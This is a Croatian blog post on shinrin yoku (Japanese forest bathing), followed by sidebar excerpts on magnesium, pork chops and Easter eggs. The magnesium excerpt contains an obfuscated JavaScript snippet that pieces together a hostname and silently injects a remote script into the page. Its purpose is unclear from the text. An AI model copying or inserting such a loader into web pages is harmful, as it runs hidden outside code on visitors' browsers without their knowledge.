SHINRIN YOKU - ŠAPAT ŠUME




Shinrin yoku - šapat šume 



Novi trend shinrin yoku zapravo je oda šumi, u prijevodu šumsko kupanje koje liječi dušu.





Što je shinrin yoku?

Iako naziv možda zvuči neobično riječ je o terapijskoj metodi koja podrazumijeva svjesni boravak u prirodi i povezivanje sa šumskim okruženjem svim osjetilima. Shinrin yoku nastao je u Japanu početkom 80 - godina kada je tamošnje ministarstvo poljoprivrede, šumarstva i ribarstva pokrenulo inicijativu kojom je građane željelo potaknuti da više vremena provode u prirodi. Ideja je bila jednostavna - šuma može djelovati kao prirodni lijek protiv stresa, tjeskobe i iscrpljenosti modernim načinom života. Japanci su razvili praksu koja je danas postala globalni wellness trend.





Hodanje bez žurbe 

Cilj nije fizička aktivnost ni broj prijeđenih kilometara, nego potpuno usporavanje i svjesno uranjanje u prirodu. To znači hodati bez žurbe, osluškivati zvukove ptica i lišća, primjećivati miris drveća i zemlje, osjećati miris vlage u zraku ili koru stabla pod prstima.





Mentalno zdravlje 

Šumsko kupanje moguće je prakticirati i u gradskim parkovima, botaničkim vrtovima, uz more ili čak i manjim zelenim oazama unutar grada. Bit nije u lokaciji nego u tome da se osoba barem nakratko odmakne od buke, ekrana i konstantne stimulacije te usmjeri pažnju na prirodu oko sebe.

Možda zato ovaj japanski fenomen osvaja svijet: ne traži skupu opremu, posebne vještine. Potrebno je samo izaći u prirodu, usporiti i dopustiti da šuma odradi svoje.




Pripremila: Ivana Matas 





Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više